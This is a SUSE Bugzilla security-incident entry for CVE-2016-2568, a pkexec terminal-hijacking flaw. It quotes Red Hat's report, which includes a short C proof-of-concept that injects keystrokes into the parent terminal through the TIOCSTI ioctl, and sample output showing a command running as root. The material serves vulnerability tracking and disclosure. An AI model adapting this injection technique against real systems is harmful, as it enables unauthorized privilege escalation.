Bug 968375 - (CVE-2016-2568) VUL-0: CVE-2016-2568: polkit: pkexec tty hijacking via TIOCSTI ioctl
(CVE-2016-2568)
VUL-0: CVE-2016-2568: polkit: pkexec tty hijacking via TIOCSTI ioctl
Status: NEW
Classification: Novell Products
Product: SUSE Security Incidents
Classification: Novell Products
Component: Incidents
unspecified
Other Other
: P3 - Medium : Normal
: ---
Assigned To: Marcus Meissner
Security Team bot
https://smash.suse.de/issue/162262/
CVSSv2:SUSE:CVE-2016-2568:6.2:(AV:L/...
:
Depends on: CVE-2016-2779
Blocks:
  Show dependency treegraph
 
Reported: 2016-02-26 08:15 UTC by Alexander Bergmann
Modified: 2020-06-29 06:23 UTC (History)
3 users (show)

See Also:
Found By: Security Response Team
Services Priority:
Business Priority:
Blocker: ---
Marketing QA Status: ---
IT Deployment: ---


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description Alexander Bergmann 2016-02-26 08:15:52 UTC
rh#1300746:
-----------
It was reported that when executing a program via "pkexec --user nonpriv program", the nonpriv session can escape to the parent session by using the TIOCSTI ioctl to push characters into the terminal's input buffer, allowing privilege escalation.

Original bug report (contains reproducer):

https://bugzilla.redhat.com/show_bug.cgi?id=1299955

rh#1299955:
-----------
When executing a program via "pkexec --user nonpriv program" the nonpriv session can escape to the parent session by using the TIOCSTI ioctl to push characters into the terminal's input buffer, allowing privilege escalation.
This issue has been fixed in "su" CVE-2005-4890 by calling setsid() and in "sudo" by using the "use_pty" flag.

$ cat test.c
#include <sys/ioctl.h>

int main()
{
 char *cmd = "id\n";
 while(*cmd)
  ioctl(0, TIOCSTI, cmd++);
}

$ gcc test.c -o test
$ id
uid=1000(saken) gid=1000(saken) groups=1000(saken)

# pkexec --user saken ./test ----> last command i type in
id
# id ----> did not type this
uid=0(root) gid=0(root) groups=0(root)


CVE-2016-2568 was assigned to this issue.

References:
https://bugzilla.redhat.com/show_bug.cgi?id=1300746
https://bugzilla.redhat.com/show_bug.cgi?id=1299955
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-2568
http://seclists.org/oss-sec/2016/q1/443
Comment 1 Swamp Workflow Management 2016-02-26 23:00:31 UTC
bugbot adjusting priority
Comment 2 Stanislav Brabec 2016-03-04 16:08:37 UTC
I added many comments to the bug 968674.

Please follow the discussion there.